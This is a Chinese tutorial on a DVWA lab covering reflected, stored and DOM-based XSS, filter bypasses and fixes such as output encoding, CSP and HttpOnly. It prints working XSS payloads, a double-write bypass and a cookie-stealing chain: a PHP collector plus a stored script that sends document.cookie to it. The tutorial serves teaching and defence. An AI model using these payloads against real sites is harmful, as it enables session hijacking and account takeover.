资讯动态

DVWA靶场实战:XSS攻击原理、绕过技巧与修复方略

发布时间:2026/10/19 17:40:45 来源:尧图企业网站定制
1. 项目与靶场选择为什么DVWA是练XSS的好教材1.1 DVWA是什么练XSS为什么绕不开它DVWADamn Vulnerable Web Application是一套开源的Web漏洞靶场专门用来模拟真实业务里最常见的脆弱点。它把SQL注入、XSS、文件包含、命令执行、CSRF这类漏洞按难度分了Low、Medium、High、Impossible四个等级让你在本地环境里反复打、反复修。对想搞懂XSS的人来说DVWA几乎是最常见的一块试验田原因很简单它的代码量小每类漏洞对应的PHP源码就几十行你完全可以把里面的逻辑掰开揉碎看清楚而不是像在黑盒靶场里那样只能猜。很多人学XSS时会有一个误区觉得“会弹alert就算会XSS了”。但弹窗只是验证执行点存在真正值钱的是三件事第一你清楚输入数据是怎么从浏览器走到页面上的第二你明白不同的过滤规则会被哪些编码差异绕过第三你知道修复时该在哪个环节下手。DVWA的意义就在于把这三件事压缩到一个可控环境里你能看到低安全级别的裸奔写法、中安全级别的不完整过滤、高安全级别的相对严苛输出处理甚至能从Impossible级别看到一套相对正确的编码思路。练习XSS逃生需要靠真实业务里的坑DVWA只是起点。但起点选得好后面的路会顺很多因为它能帮你把“类型感”建立起来——反射型、存储型、DOM型这三者各自的数据流向、持久化程度、检测难度完全不一样如果不在靶场里亲手对比很难在实战里快速定位。1.2 需要准备的环境与一个能出效果的测试流程DVWA依赖PHP和MySQL最省事的办法是装一套本地Web集成环境。装好之后把DVWA文档放进Web根目录访问http://127.0.0.1/dvwa用默认账号密码登录再点击底部的“Create / Reset Database”完成初始化就能开始玩了。有一点要注意DVWA主页面右上角有一个安全等级切换面板默认是Impossible你需要手动切到Low才开始做入门测试我刚上手时就没注意这点结果明明提交了scriptalert(1)/script却没反应后来才发现是等级太高输出全被转义了。建议测试流程是每个安全等级都先把源码读一遍再在输入框里提交普通字符串观察回流位置接着才丢payload。比如在反射型XSS的页面里你先输入hello看它出现在哪个标签内再判断是直接拼在h1里还是拼在input的value属性里。两种位置的利用方式完全不同——前者可以直接闭合标签插入script后者往往要用事件属性或者构造img srcx onerroralert(1)来突破。另外建议打开浏览器的开发者工具把“Preserve log”勾上这样每次测试跳转时候的请求参数都能留下来。XSS绕来绕去本质上是数据在“输入点—服务端处理—输出位置”三个环节里被逐步改变形态的过程把HTTP请求和DOM结构对照着看比光盯着页面本身要容易理解得多。2. 反射型XSSURL里的字符串如何变成“可执行代码”2.1 反射型XSS的漏洞原理与危害边界反射型XSS也叫非持久性XSS。它的链路是这样的用户点击一个构造好的链接参数带着攻击payload一起发到服务端服务端没做验证直接把这个参数原样拼接进HTML响应里返回浏览器解析响应时就把payload当成正经代码执行了。整个过程“提交—返回—执行”一气呵成漏洞页面本身不存储数据所以每次攻击都必须依赖用户去点击那个恶意链接。危害边界在哪里最大问题是数据不会被服务端保存攻击者不能等别人自然触发只能诱导受害者点击精心构造的URL。常见手法有短链接伪装、在论坛帖子里嵌一个看着像普通搜索的链接、或者通过即时通信把链接发给目标。一旦受害者点击页面就会带着受害者的身份去执行攻击者的JS代码——比如读取会话令牌、模拟表单提交、篡改页面内容、或者把他重定向到仿冒站点。我在练习时特别喜欢把反射型XSS和普通404页面做对比一个站点如果对404里echo出来的URL路径不转义那你同样可以把script拼到路径里触发反射型XSS。这类问题在任何“把用户输入原样吐回页面”的地方都可能出现不仅仅是搜索框还有错误页、排序参数、分页参数、回调URL等等。习惯了“输入点—输出点”的映射思维之后你会下意识地检查每一个接收参数并回显的位置。2.2 DVWA低难度实战输入点、输出点、执行点切到Low等级打开反射型XSS页面页面上就一个输入框和一个提交按钮。先输入123提交后地址栏变成?name123页面显示“Hello 123”。这里输入点就是name参数输出点是Hello后面的文本内容而且它直接拼在了pre标签里没有任何过滤。这时候把name换成下面这段scriptalert(reflected-xss)/scriptURL完整写成http://127.0.0.1/dvwa/vulnerabilities/xss_r/?namescriptalert(reflected-xss)/script页面加载后就会弹出reflected-xss。需要注意一个细节如果你直接把payload填进表单再提交浏览器URL编码会把尖括号变成%3C和%3E服务端拿到后用$_GET[name]读取PHP会自动做一次URL解码所以代码照样能执行。这也是为什么某些WAF只查原始请求URL里的尖括号却拦不住编码后的payload——解码顺序差一环拦截就形同虚设。在Low等级里攻击点简单明了但你要趁这个机会把“输入点—输出点—执行点”三个位置分别圈出来。输入点是参数提交处输出点是Hello后边的HTML文本节点执行点是浏览器解析script标签的JS引擎。修复任意一环XSS都可能被断掉不接收恶意输入、转义输出内容、禁用内联脚本都会让payload失效区别只是代价不同。2.3 中高难度绕过过滤脚本标签但防不住事件属性Medium等级加了一道过滤。源码大致是这样$name str_replace( script, , $_GET[ name ] );很多新手看到str_replace(script, , $input)就觉得稳了其实这层防护约等于没有。因为过滤只针对script这个完整标签其余标签和事件属性完全没处理。我常用的绕过方式是img srcx onerroralert(1)onerror事件在图片加载失败时触发srcx故意指向一个不存在的资源浏览器找不到图片就会执行alert(1)。即便你想保留script概念也可以利用过滤不够递归的缺陷scrscriptiptalert(1)/script第一次替换后内部残留的部分会被拼成script照样执行。Medium的过滤还有一个问题str_replace区分大小写服务端如果用的不是PHP的preg_replace加/i修饰符那你写成SCRIPT也能绕过。不过DVWA Medium这里实际用的就是str_replace大小写绕过是可行的我在本地就验证过。High等级就不一样了它用了更合理的做法$name htmlspecialchars( $_GET[ name ] );htmlspecialchars默认会把、、、转成HTML实体浏览器在解析文本节点时不会把script当成标签所以反射型XSS在这种输出方式下基本失效。演练到这一层你应该意识到一个关键规律中低等级的问题出在“用黑名单思路做过滤”高等级的问题在于“虽然转义了但只转义了部分字符”。如果你传入的是单引号场景而输出位置位于单引号包裹的属性值里防御就可能被击穿——这也是后面章节里编码问题的核心。3. 存储型XSS留言板里的“定时炸弹”3.1 存储型XSS为什么比反射型更危险存储型XSS的思路完全不同。攻击者的payload不是放在URL里骗你点击而是直接提交到服务端并写进数据库后续任何用户访问包含这段数据的页面时都要中招。如果说反射型是“打一枪换一个地方”存储型就是“埋雷”你不知道什么时候会炸炸的时候炸到谁。危害升级来自三个维度。一是触发不需要交互普通用户只要浏览了相应页面就会执行恶意脚本攻击者甚至不需要再投递恶意链接二是影响范围广一个公开的留言板、评论区、昵称字段都能成为传播源访问者全被覆盖三是隐蔽性强payload混在正常业务数据里如果页面渲染处忘了转义业务日志里看起来只是一个普通文本直到发生账号接管才暴露。所以业内常说存储型XSS是三种类型里优先级最高的——它触及了“数据信任边界”的问题服务端把用户输入当成了可信内容返回到前端。搞懂这一点再看很多CMS被挂XSS的新闻你就知道他们多半是栽在了某个编辑框或评论区的存储型漏洞上。3.2 用DVWA演示一次Cookie窃取与回传DVWA的存储型XSS页面就是一个留言板输入框叫txtName留言框叫mtxMessage。Low等级直接把输入拼接进pre并存储所以提交一条scriptalert(stored-xss)/script留言之后每次刷新页面都会弹窗。这看似和反射型一样但注意数据来源是数据库而不是当前请求参数这才是本质区别。为了加深印象我建议做一次完整的“窃取Cookie”实验。需要在同一台机器上再跑一个简单的脚本接收数据可以用下面这段极简代码?php // cookie.php $cookie $_GET[cookie]; file_put_contents(cookie_log.txt, $cookie . PHP_EOL, FILE_APPEND); ?然后在留言区提交scriptdocument.locationhttp://127.0.0.1/cookie.php?cookiedocument.cookie/script当有管理员或其他用户访问留言页面时浏览器会带着当前站点的Cookie跳转到cookie.php这段Cookie就被记录下来。我这里用的是127.0.0.1实际练习里你也可以改成其他测试域名。需要提示一句如果是自己搭的靶场这属于合理范围内的教学实验但如果目标是未授权系统那就是违法行为绝对不要去碰。这个实验做完之后趁热打铁去理解两个防护点第一Cookie和Session尽量加HttpOnly标记让document.cookie读不到session值第二服务端在输出用户内容时必须转义从根上让script失去可执行环境。3.3 三个安全级别的防护识别Medium等级的存储型XSS做了拦截措施源码里用mysql_real_escape_string给入库的数据做了转义还用stripslashes去掉了反斜杠但关键的输出环节没做过滤。同时它对script做了替换但和反射型Medium一样事件属性和大小写绕过都是开口。我在留言框里用img src1 onerroralert(document.cookie)刷新页面后照样弹窗。这说明一个道理数据库存储层的转义只防守SQL注入跟XSS这种“存储—读取—渲染”链路不在同一层缺了最后那一层输出编码前面的努力都是白搭。High等级开始用htmlspecialchars来处理昵称和消息字段的输出看起来安全了不少。但别忘了htmlspecialchars的默认行为不会转义单引号如果你只是这样$message htmlspecialchars( $message );它在双引号属性中还好一旦输出位置用了单引号包裹就会被绕过。DVWA High里对htmlspecialchars补了ENT_QUOTES也就是对单双引号一起处理所以常规payload打不动。但这并不说明绝对安全——因为DOM里的JS取值、JSON输出场景、富文本编辑器下的白名单逻辑都可能出现新的入口这也是存储型XSS为什么至今仍是企业安全团队最头疼的问题之一。4. DOM型XSS看不见也摸不着的“前端数据污染”4.1 服务端看不见的攻击DOM XSS原理DOM型XSS和前两种有着本质差异。反射型和存储型都是在服务端生成HTML时出了问题而DOM型XSS的payload根本不需要发给服务端它是在前端JS代码里读取URL参数、Hash、document.referrer、postMessage等数据然后把数据直接赋值给innerHTML、document.write、eval这类能执行HTML或JS的API。整个过程请求可能正常到达服务器服务器可能什么都没做然后再返回一个静态页面但页面里的脚本已经执行了。打个比方反射型XSS像是饭店把顾客写在纸条上的字直接印进菜单端上来DOM型则是顾客自己动手在菜单上改菜名服务员根本不知道。因为恶意代码在浏览器本地完成拼接所以服务端日志里看不到攻击痕迹WAF也很难拦截很多漏扫工具如果只看响应不跑浏览器渲染就会漏报。这也是为什么DOM XSS在真实环境中经常被低估。我在一次模拟评估里见过某个前端页面从location.search拿参数填充到搜索结果标题服务端完全没参与但攻击者只需要诱导用户打开一个特殊URL页面标题区域就会执行恶意脚本。它的危害不比反射型小但排查难得多。4.2 DOM XSS在DVWA中的三种难度形态DVWA的DOM型XSS是一个“Select your language”下拉菜单。Low等级的页面JS大概是这样的var lang document.location.href.substring(document.location.href.indexOf(default)8); document.getElementById(show).innerHTML lang;它把URL里default后面的内容直接写入innerHTML所以构造http://127.0.0.1/dvwa/vulnerabilities/xss_d/?defaultscriptalert(1)/script脚本就会执行。Medium等级会把default参数放到switch里判断只有匹配到English、French等选项时才继续处理看起来似乎安全了但它没做任何编码仍有绕过手法。我试过把参数值拼成scriptalert(1)/script如果switch的default分支会把不匹配内容原样渲染页面照样执行。关键还是要看源码里innerHTML最终接收了什么。High等级的DOM XSS往往用了前端框架的部分转义但有时还是会因为innerHTML、outerHTML、insertAdjacentHTML这类API的高危属性而失守。DVWA的High示例会引导你去看JS这段代码// 伪代码示意 document.getElementById(show).innerHTML decodeURIComponent(location.hash.substring(1));如果页面只对location.hash做截取但没对、做转义用#img srcx onerroralert(1)就能命中。真正的修复是用textContent替代innerHTML或者对赋值内容做HTML实体编码后再插入。4.3 为什么XSS扫描器经常漏报DOM型传统漏洞扫描器模拟的是“发送请求—分析响应”的套路但DOM型XSS既不产生特殊的服务端响应又完全依赖JS执行结果所以纯静态扫描经常漏报。要发现这类漏洞必须使用真正能执行JS的浏览器引擎来做动态爬取让页面跑起来之后再检查DOM树里是否有可控内容进了敏感API。这提醒我们一件事依赖自动化扫描远不够人工审计前端源码重点关注location、document.URL、window.name这些污点来源以及innerHTML、eval、document.write这些危险汇聚点才是靠谱的办法。我做了一个小习惯练习完之后把每个触发点记成一张表包含“来源—汇聚—可利用性—修复方式”四列后面做代码审计时直接拿着这张表去查效率高很多。DOM XSS的修复也印证了这一点前端不能用innerHTML拼接不可信数据能用textContent就用textContent如果一定要渲染富文本宁可走白名单过滤或成熟的前端框架转义也别手工拼字符串。5. 修复方案六层防护把漏洞堵死在源头5.1 输入验证白名单比黑名单好一万倍在服务端对所有参数做校验能满足业务格式的才接受。比如手机号就只允许数字和号用户名就只允许字母、数字、下划线枚举参数就用数组比对而不是人去拼一个“危险字符黑名单”。黑名单永远防不完src、onerror、javascript:、data:、#x3c;、#60;……攻击者只要换一种编码、换一个标签、换一个事件黑名单就漏了。白名单的哲学是“默认拒绝”只放行明确安全的数据格式。在PHP里可以这样写一个简单的用户名校验if (preg_match( /^[a-zA-Z0-9_]{2,20}$/, $username )) { // 通过 } else { // 拒绝 }这个写法直接限制了字符集和长度攻击者压根没有机会把送进来。如果是搜索框这类无法严格要求格式的场景输入验证只能作为第一道闸真正的必杀技还得靠输出编码。5.2 输出编码不同位置选用不同策略输出编码是XSS修复最核心技术的一层。核心原则是在HTML标签内输出就做HTML实体编码在属性里输出就针对属性做编码并在外层引号上把关在JavaScript里输出就要做JS编码还要小心/script闭合在CSS里输出要限制url()等危险表达式。用PHP的htmlspecialchars做演示最稳的写法是把ENT_QUOTES和字符集都带上$safe htmlspecialchars( $raw, ENT_QUOTES | ENT_SUBSTITUTE, UTF-8 );这样单引号、双引号、、、全部被转成实体安全程度比默认写法高一个量级。但注意htmlspecialchars不能保护所有上下文——如果数据是拼在script标签的JS变量里那得用JSON序列化加JSON_HEX_TAG把和也转成\u003C、\u003E否则依旧存在/script提前闭合的风险。5.3 CSP和其他层纵深防御才是正解CSP内容安全策略是浏览器层面的安全机制通过响应头告诉浏览器“页面只能执行哪些来源的脚本”。一个比较保守的策略可以写成Content-Security-Policy: default-src self; script-src self; object-src none; base-uri none它禁止所有内联脚本和外部未知来源脚本即使攻击者能把script插进HTML浏览器在执行时也会被CSP拒掉。这是一道很有效的兜底防线但它不是银弹如果脚本文件被攻击者控制或者站点本来就要加载第三方CDN的库CSP配置容易误伤业务需要花时间打磨策略。同时还要做几件顺手的事给Cookie加HttpOnly和Secure标记让JS无法读取会话关键数据在App层面增加CSRF Token和敏感操作二次验证降低XSS被用来“借刀操作”的破坏力对富文本内容使用成熟的过滤库比如按标签白名单加属性白名单处理后再输出。层层防御的意义在于任何一层被突破后面还有别的兜住。5.4 修复后的代码示例从DVWA漏洞页到相对安全的写法拿DVWA的存储型XSS页面举例。原始Low等级代码基本没防御修复思路分三步。第一步服务端接收消息时限制输入长度和字符集比如只允许常见文本字符第二步写入数据库前用参数化查询避免SQL注入第三步输出到HTML时统一走htmlspecialchars再加ENT_QUOTES。一个骨架示意$name trim( $_POST[name] ); $message trim( $_POST[message] ); if ( mb_strlen( $name ) 20 || mb_strlen( $message ) 500 ) { die( 输入长度超限 ); } $stmt $pdo-prepare( INSERT INTO guestbook(name, message) VALUES (?, ?) ); $stmt-execute( [ $name, $message ] ); $name htmlspecialchars( $name, ENT_QUOTES, UTF-8 ); $message htmlspecialchars( $message, ENT_QUOTES, UTF-8 );后面渲染时直接输出转义后的变量。这种写法对大多数文本型XSS都有效。如果业务上确实需要让用户发富文本那就把它当成“需要对内容做清洗”的输入类型不建议用htmlspecialchars一把梭也不建议在网上随便找正则过滤就上生产应该用成熟库按白名单迭代。6. 踩坑记录与排查心得6.1 靶场环境报错的常见坑我在本地搭DVWA时遇到过几次环境问题这里把最容易踩的三个记下来。第一个是数据库初始化失败打开页面一直提示无法连接数据库。八成是配置文件里的数据库用户名、密码或库名不对或者MySQL没启动。我习惯用环境变量区分配置避免直接改源码把真实数据库带歪。第二个是安全等级切了没生效刷新之后还是老样子。检查一下登录态是不是丢了DVWA的安全等级存在SESSION里重新登录后才会加载最新设置。第三个是页面中文乱码或特殊字符显示异常通常要保证PHP文件本身是UTF-8无BOM编码并且页面声明了meta charsetutf-8不然转义后的实体可能显示成乱码。还有一个小坑是浏览器的XSS过滤干扰。现代浏览器自带xss auditor或类似机制测试低难度payload时可能看到页面被拦截这是浏览器在本地“处罚”攻击。为了不干扰学习可以换一个不启用内置过滤的浏览器配置或者直接关掉这个保护选项。注意这只是练习环境里的操作真实浏览器的安全机制不要乱关。6.2 学习XSS时最容易踩的三个误区第一个误区是“只记payload不记原理”。网上各种payload库里能搜到几百条但你得知道哪条对应哪种上下文。同样是svg onloadalert(1)和img srcx onerroralert(1)它们可以互换吗不一定在HTML标签内可以但如果页面把数据拼在JS字符串里你需要的可能是\x3cscript\x3e。理解了浏览器解析顺序才能手动组合最贴合的payload。第二个误区是把“过滤了script就等于防住XSS”当真。DVWA的Medium等级就是教训它处理了script标签但直接栽在img onerror上。真实业务里的过滤规则更复杂攻击面也更大——大小写、编码嵌套、标签闭合、属性拆分随便哪个点钻进去都可能绕过去。防御也一样修XSS不能只堵一个标签要从编码和数据流向入手。第三个误区是忽略攻击面越广越容易遗漏的小功能。搜索框、错误消息、文件名回显、导出报告、页面报错堆栈、URL跳转参数这些全是XSS的温床。我后来在审计时给自己定了一个规矩凡是“外部数据进入HTML”的位置一律先问一句“这个数据之前有没有被转义过”没确认就默认没有。6.3 把靶场经验转化到真实项目里的方法练习完之后怎么把DVWA里学到的东西迁移到真实Web项目里我会给自己布置一个固定流程先从功能入口进入把所有能输入数据的地方列出来再对每个输入追查它的流转路径看最终落在哪个输出位置然后按“HTML上下文、属性上下文、JS上下文、CSS上下文、URL上下文”分类标注逐个检查是否做了对应编码最后用浏览器开发者工具手动验证几个可疑点。这套流程在靶场上练熟之后再做代码审计心里会特别有底。另外我会把DVWA里遇到过的每一种绕过形式都记成一条测试用例例如“双写绕过”“大小写绕过”“事件属性绕过”“编码绕过”“闭合标签绕过”以后在别的系统做渗透测试时直接复用。这种累积式练习比单纯刷题效果好得多因为它逼着你把知识点变成可复现的检查清单而不是零散的记忆碎片。最后分享一个小技巧我会用浏览器插件或者临时脚本把目标站点的所有Cookie改成HttpOnly后重跑XSS payload观察哪些攻击链失效。这个方法能直观感受到安全属性在纵深防御里的价值也能帮你判断某个XSS即使无法拿到Cookie是否还能通过其他方式继续利用——比如修改页面表单提交地址、劫持页面逻辑、伪造操作按钮。XSS的利用永远比想象中的还要多一环这也是为什么我一直强调不能只拿“能否弹窗”来评估漏洞严重性。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑